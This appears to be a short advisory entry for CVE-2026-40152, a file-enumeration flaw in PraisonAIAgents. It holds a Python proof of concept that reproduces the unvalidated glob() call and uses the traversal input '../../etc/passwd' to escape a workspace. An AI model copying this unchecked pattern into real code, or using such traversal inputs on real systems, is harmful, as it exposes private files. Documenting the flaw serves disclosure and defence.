CVE-2026-40152 PraisonAIAgents 任意文件枚举漏洞

import os from pathlib import Path # Simulating the vulnerable behavior in PraisonAIAgents prior to 1.5.128 # This demonstrates how an unvalidated pattern leads to path traversal def vulnerable_list_files(directory, pattern): # In the vulnerable code, directory is validated, but pattern is not. # The pattern is passed directly to Path.glob() target_path = Path(directory) results = [] # Path.glob() resolves '..' in the pattern, allowing traversal for p in target_path.glob(pattern): if p.is_file(): results.append({ "name": p.name, "path": str(p.resolve()), "size": p.stat().st_size }) return results # Exploit Scenario workspace = "/app/workspace" # Malicious input: using '../' to escape the workspace # This attempts to list /etc/passwd if the workspace is /app/workspace malicious_pattern = "../../etc/passwd" print(f"[*] Attempting to list files in '{workspace}' with pattern: '{malicious_pattern}'") # Note: This code is for analysis purposes only. # Actual execution depends on the file system structure. try: leaked_files = vulnerable_list_files(workspace, malicious_pattern) if leaked_files: print("[!] Vulnerability exploited! Found files:") for f in leaked_files: print(f" - Path: {f['path']}, Size: {f['size']}") else: print("[-] No files found or path does not exist.") except Exception as e: print(f"Error: {e}")